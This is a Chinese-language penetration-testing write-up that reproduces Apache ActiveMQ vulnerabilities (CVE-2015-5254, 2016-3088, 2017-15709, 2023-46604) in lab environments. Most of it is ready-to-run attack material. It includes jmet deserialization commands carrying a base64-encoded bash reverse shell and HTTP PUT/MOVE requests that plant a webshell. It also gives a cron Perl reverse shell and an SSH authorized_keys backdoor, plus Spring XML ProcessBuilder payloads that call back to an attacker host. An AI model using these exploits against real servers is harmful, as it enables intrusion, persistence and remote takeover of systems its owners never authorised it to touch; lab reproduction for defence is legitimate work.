目录

  • 介绍
  • CVE-2015-5254:Apache ActiveMQ任意代码执行漏洞
    • 漏洞介绍 & 环境准备
    • 漏洞发现
    • Nuclei❌
    • Vulmap✅
    • 漏洞验证
    • 漏洞利用
  • CVE-2016-3088:Apache ActiveMQ Fileserver远程代码执行漏洞
    • 漏洞发现
    • Nuclei✅
    • Vulmap✅
    • MSF✅
    • 第三方工具1(漏洞探测)✅
    • 漏洞验证
    • 方式1:写入webshell
    • 方式2:写入crontab,自动化弹shell
    • 方式3:写入ssh key
  • CVE-2017-15709:Apache ActiveMQ 信息泄露漏洞
    • 漏洞介绍 & 环境准备
    • 漏洞验证
  • CVE-2023-46604:Apache ActiveMQ 远程代码执行漏洞
    • 漏洞介绍 & 环境准备
    • 漏洞发现(针对linux系统)
    • Nuclei❌
    • MSF❌
    • 第三方工具1(反弹shell)
    • 第三方工具2(反弹shell)
    • 第三方工具3(反弹shell)
    • 漏洞发现(针对Windows系统)
    • Nuclei❌
    • MSF✅
  • 参考

介绍

Apache ActiveMQ是美国阿帕奇(Apache)软件基金会所研发的一套开源的消息中间件,它支持Java消息服务、集群、Spring Framework等。随着中间件的启动,会打开两个端口,61616是工作端口,消息在这个端口进行传递;8161是Web管理页面端口。

Jetty 是一个开源的 servlet 容器,它为基于 Java 的 web 容器,例如 JSP 和 servlet 提供运行环境。ActiveMQ 5.0 及以后版本默认集成了jetty。在启动后提供一个监控 ActiveMQ 的 Web 应用。

CVE-2015-5254:Apache ActiveMQ任意代码执行漏洞

漏洞介绍 & 环境准备

**漏洞原理:**Apache ActiveMQ 5.13.0之前5.x版本中存在安全漏洞,该漏洞源于程序没有限制可在代理中序列化的类。远程攻击者可借助特制的序列化的Java Message Service(JMS)ObjectMessage对象利用该漏洞执行任意代码。
影响范围:Apache ActiveMQ 5.x ~ Apache ActiveMQ 5.13.0
修复方式:目前官方已有可更新版本,建议受影响用户升级至最新版本。
参考链接:https://ti.qianxin.com/vulnerability/detail/1509
漏洞复现参考:https://blog.csdn.net/hellohahi/article/details/122418168
环境搭建:

cd vulhub-master/activemq/CVE-2015-5254docker-compose up -ddocker psdocker-compose down

运行环境后,会建立61616和8161这两个端口。
其中61616端口是工作端口,消息在这个端口上传递;8161端口为网页管理页面端口。访问8161端口,可以看到web管理页面,但是这个漏洞理论上不需要web。
使用默认密码(admin/admin)登录,可以看到ActiveMQ版本是5.11.1,属于ActiveMQ 反序列化漏洞 (CVE-2015-5254)的影响版本范围。

漏洞发现

Nuclei❌

Nuclei的漏洞列表里没有此漏洞!但是Nuclei检测到了两个默认口令以及CVE-2016-3088

Vulmap✅

项目地址:https://github.com/zhzyker/vulmap

漏洞验证

  1. 生成序列化的有效负载(可以使用 ysoserial)
  2. 作为一个消息,将有效负载发送到端口 61616
  3. 访问web管理页面并读取序列化消息,然后就可以触发这个漏洞了。

通过nmap扫描目标靶机端口和服务版本信息,发现目标开放的61616端口上承载apachemq ActiveMQ服务。

  1. 首先在攻击机上下载jmet的jar(Java 消息利用工具)文件,然后在同目录下创建external文件夹。(否则可能会出现文件夹不存在的错误)
# 下载jmet的jar包wget https://github.com/matthiaskaiser/jmet/releases/download/0.1.0/jmet-0.1.0-all.jar# 创建external目录mkdir external
  1. 执行命令,将有效负载发送到目标IP的61616端口。

【命令解释】:调用java -jar 运行 jmet的jar包,-Q是插入一个名为event的队列,-I 是选择装载ActiveMQ模块 ,-s 是选择ysoserial payload ,-Y 是攻击模式和内容, -Yp 是选择攻击利用链,这是选择是ROME, 之后带上IP加端口。
-Q 比如我修改event为hack 就成为插入一个名为hack的队列。

java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/sucess" -Yp ROME 192.168.229.140 61616

  1. 这时,会给目标ActiveMQ添加一个event列,我们可以通过/admin/browse.jsp" />
    点击查看这条消息即可触发命令执行

    点击一下

    登录ActiveMQ容器环境docker exec -it [容器ID] bash,查看命令已经执行成功,/tmp/sucess文件已成功创建。

    漏洞利用

    反弹shell到vps上

    1. 将命令替换成弹shell的语句再利用
    2. 将反弹语句bese64编码
    3. vps开启端口监听

    生成反弹shell的命令,对文本进行base64编码:https://www.iamwawa.cn/base64.html

    bash -i >& /dev/tcp/192.168.229.128/6666 0>&1bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIyOS4xMjgvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}

    执行弹shell命令(这里记住ID号,后面会用到)

    java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIyOS4xMjgvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}" -Yp ROME 192.168.229.140 61616


    通过/admin/browse.jsp" />
    点击之后,即可执行命令,反弹shell

    CVE-2016-3088:Apache ActiveMQ Fileserver远程代码执行漏洞

    **漏洞原理:**ActiveMQ的web控制台分三个应用,admin、api和fileserver,其中admin是管理员页面,api是接口,fileserver是储存文件的接口;admin和api都需要登录后才能使用,fileserver无需登录。
    本漏洞出现在fileserver应用中,漏洞原理其实非常简单,就是fileserver支持写入文件(但不解析jsp),同时支持移动文件(MOVE请求)。所以,我们只需要写入一个文件,然后使用MOVE请求将其移动到任意位置,造成任意文件写入漏洞。
    影响范围:Apache ActiveMQ <= 5.13.3
    修复方式:目前官方已有可更新版本,建议受影响用户升级至最新版本。
    参考链接:https://ti.qianxin.com/vulnerability/detail/13372
    漏洞复现参考:https://blog.csdn.net/m0_51683653/article/details/129240528
    https://github.com/vulhub/vulhub/blob/master/activemq/CVE-2016-3088/README.zh-cn.md
    环境搭建:

    cd vulhub-master/activemq/CVE-2016-3088docker-compose up -ddocker psdocker-compose down

    漏洞发现

    Nuclei✅

    Nuclei检测到了两个默认口令以及CVE-2016-3088

    Vulmap✅

    项目地址:https://github.com/zhzyker/vulmap

    MSF✅

    search CVE-2016-3088exploit/multi/http/apache_activemq_upload_jspset RHOSTS 192.168.229.140exploit

    第三方工具1(漏洞探测)✅

    项目地址:https://github.com/YutuSec/ActiveMQ_Crack

    漏洞验证

    我们只需要写入一个文件,然后使用MOVE请求将其移动到任意位置,造成任意文件写入漏洞。
    文件写入有几种利用方法:

    1. 写入webshell
    2. 写入cron或ssh key等文件
    3. 写入jar或jetty.xml等库和配置文件

    写入webshell的好处是,门槛低更方便,但前面也说了fileserver不解析jsp,admin和api两个应用都需要登录才能访问,所以有点鸡肋;写入cron或ssh key,好处是直接反弹拿shell,也比较方便,缺点是需要root权限;写入jar,稍微麻烦点(需要jar的后门),写入xml配置文件,这个方法比较靠谱,但有个鸡肋点是:我们需要知道activemq的绝对路径。
    分别说一下上述几种利用方法。

    方式1:写入webshell

    前面说了,写入webshell,需要写在admin或api应用中,而这俩应用都需要登录才能访问
    默认的ActiveMQ账号密码均为admin,首先访问http://your-ip:8161/admin/test/systemProperties.jsp,查看ActiveMQ的绝对路径:

    需要知道ActiveMQ的绝对路径需要能登录admin或者api

    1. 上传webshell(这里使用冰蝎的 jsp 马):

    这里上传的文件名以及后缀可以随意(可以是txt或者jsp),毕竟后面还得通过MOVE方法修改

    PUT /fileserver/2.txt HTTP/1.1Host: localhost:8161Accept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: closeContent-Length: 120976webshell...


    此时可以访问到马子了:http://192.168.229.140:8161/fileserver/2.txt

    1. 移动到web目录下的api文件夹(/opt/activemq/webapps/api/s.jsp)中:

    ActiveMQ的web控制台分三个应用,admin、api和fileserver,其中admin是管理员页面,api是接口,fileserver是储存文件的接口。
    利用MOVE,可以将木马文件移动到api或者admin

    MOVE /fileserver/2.txt HTTP/1.1Destination: file:///opt/activemq/webapps/api/s.jspHost: localhost:8161Accept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: closeContent-Length: 0

    1. 访问一下,看起来上传成功了:http://192.168.229.140:8161/api/s.jsp

    1. 连接webshell

    需要设置一下请求头


    找到了上传的马子

    方式2:写入crontab,自动化弹shell

    需要运行ActiveMQ的用户有root权限服务器开启了cron服务运行ActiveMQ的用户有使用crontab的权限

    这里有个坑,docker中没有crontab必须自己安装,官网下载apache-activemq-5.7.0-bin.tar搭建环境。
    下载地址:https://activemq.apache.org/download-archives.html

    1. 环境准备
    tar -zxvf apache-activemq-5.7.0-bin.tar.gz cd apache-activemq-5.7.0/bin/./activemq start

    这是一个比较稳健的方法。首先上传cron配置文件(注意,换行一定要\n,不能是\r\n,否则crontab执行会失败):

    PUT /fileserver/1.txt HTTP/1.1Host: localhost:8161Accept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: closeContent-Length: 248*/1 * * * * root /usr/bin/perl -e 'use Socket;$i="10.0.0.1";$p=21;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'


    将其移动到/etc/cron.d/root

    MOVE /fileserver/1.txt HTTP/1.1Destination: file:///etc/cron.d/rootHost: localhost:8161Accept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: closeContent-Length: 0


    如果上述两个请求都返回204了,说明写入成功。等待反弹shell
    【不知道为什么,反弹失败】

    方式3:写入ssh key

    这里有个坑,无法SSH连接docker靶场,官网下载apache-activemq-5.7.0-bin.tar搭建环境。
    下载地址:https://activemq.apache.org/download-archives.html

    需要运行ActiveMQ的用户有root权限需要服务器开启了ssh服务,并且攻击机可以连接
    1. 环境准备
    tar -zxvf apache-activemq-5.7.0-bin.tar.gz cd apache-activemq-5.7.0/bin/./activemq start

    1. 端口探测

    服务器端口:22、8161和61616端口可达

    1. 开始攻击

    上传我们的 ssh 公钥,从而实现 SSH 方式登录

    ssh-keygen -t rsa
    PUT /fileserver/1.txt HTTP/1.1Host: 192.168.229.141:8161Accept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: closeContent-Length: 562ssh-rsa[SSH公钥]


    移动到/root/.ssh/并重命名为authorized_keys

    MOVE /fileserver/1.txt HTTP/1.1Destination: file:///root/.ssh/authorized_keysHost: 192.168.229.141:8161Accept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: closeContent-Length: 0

    1. SSH登录目标系统

    CVE-2017-15709:Apache ActiveMQ 信息泄露漏洞

    漏洞介绍 & 环境准备

    **漏洞原理:**在 ActiveMQ 版本 5.14.0 到 5.15.2 中使用 OpenWire 协议时,发现某些系统详细信息(例如操作系统和内核版本)以纯文本形式公开。
    影响范围:5.14.0 <= Apache ActiveMQ <= 5.15.2
    修复方式:目前官方已有可更新版本,建议受影响用户升级至最新版本。
    参考链接:https://ti.qianxin.com/vulnerability/detail/43276
    漏洞复现参考:https://blog.csdn.net/weixin_44047654/article/details/128033283
    环境搭建:使用在线靶场https://vulfocus.cn/

    漏洞验证

    使用telnet访问容器 61616端口映射出的端口,就可以看到泄露的信息。
    此处,靶场对外映射的端口是25303

    CVE-2023-46604:Apache ActiveMQ 远程代码执行漏洞

    漏洞介绍 & 环境准备

    **漏洞原理:**Apache ActiveMQ 容易受到远程代码执行漏洞的攻击。该漏洞可能允许对 broker 具有网络访问权限的远程攻击者通过操纵 OpenWire 协议中的序列化类类型来实例化类路径上的任何类,最终可能导致运行任意 shell 命令。
    影响范围

    5.18.0<=Apache ActiveMQ<5.18.35.17.0<=Apache ActiveMQ<5.17.65.16.0<=Apache ActiveMQ<5.16.7Apache ActiveMQ<5.15.165.18.0<=Apache ActiveMQ Legacy OpenWire Module<5.18.35.8.0<=Apache ActiveMQ Legacy OpenWire Module<5.15.165.16.0<=Apache ActiveMQ Legacy OpenWire Module<5.16.75.17.0<=Apache ActiveMQ Legacy OpenWire Module<5.17.6

    修复方式:目前官方已有可更新版本,建议受影响用户升级至最新版本。
    参考链接:https://ti.qianxin.com/vulnerability/detail/316432
    漏洞复现参考:https://blog.csdn.net/qq_41904294/article/details/134066087
    **环境搭建:**下载地址:https://activemq.apache.org/download-archives.html

    tar -zxvf ./apache-activemq-5.18.1-bin.tar.gzcd apache-activemq-5.18.1/bin/./activemq start./activemq stop

    默认情况下,无法访问控制台,进入ActiveMQ安装目录下的conf文件夹,找到jetty.xml,修改为0.0.0.0后重启ActiveMQ即可。

    登录系统,系统版本是有漏洞的。

    漏洞发现(针对linux系统)

    Nuclei❌

    Nuclei是有相关POC的,但是没有扫描出来

    MSF❌

    仅支持windows的payload,因此无法针对linux系统反弹shell

    search CVE-2023-46604use exploit/multi/misc/apache_activemq_rce_cve_2023_46604set RHOSTS 192.168.229.141exploitshow payloads

    第三方工具1(反弹shell)

    项目地址:https://github.com/sule01u/CVE-2023-46604
    反弹shell的xml文件:

    <beans xmlns="http://www.springframework.org/schema/beans"xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"><bean id="pb" class="java.lang.ProcessBuilder" init-method="start"><constructor-arg><list><value>bash</value><value>-c</value><value>& /dev/tcp/your-ip/6666 0>&1]]></value></list></constructor-arg></bean></beans>

    第三方工具2(反弹shell)

    项目地址:https://github.com/JaneMandy/ActiveMQ_RCE_Pro_Max
    反弹shell的xml文件:

    <beans xmlns="http://www.springframework.org/schema/beans"xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"><bean id="pb" class="java.lang.ProcessBuilder" init-method="start"><constructor-arg><list><value>bash</value><value>-c</value><value>& /dev/tcp/your-ip/6666 0>&1]]></value></list></constructor-arg></bean></beans>
    1. JDK11启动工具
    C:\jdk-11\bin\java.exe -jar ActiveMQ_RCE_GUI_v1.0.3.jar
    1. 反弹shell

    第三方工具3(反弹shell)

    教程参考:https://blog.csdn.net/qq_41904294/article/details/134066087
    项目地址:https://github.com/trganda/ActiveMQ-RCE
    直接运行会发现报错:java: 警告: 源发行版 11 需要目标发行版 11,配置一下就行了

    漏洞发现(针对Windows系统)

    确认关闭了防火墙

    漏洞给复现参考:https://mp.weixin.qq.com/s/qWr3z0KYB5Pg6a7dE-07Wg
    启动环境

    Nuclei❌

    Nuclei是有相关POC的,但是没有扫描出来

    MSF✅

    search CVE-2023-46604use exploit/multi/misc/apache_activemq_rce_cve_2023_46604set RHOSTS 192.168.229.141exploitset SRVPORT 8081exploit

    参考

    activemq介绍及漏洞总结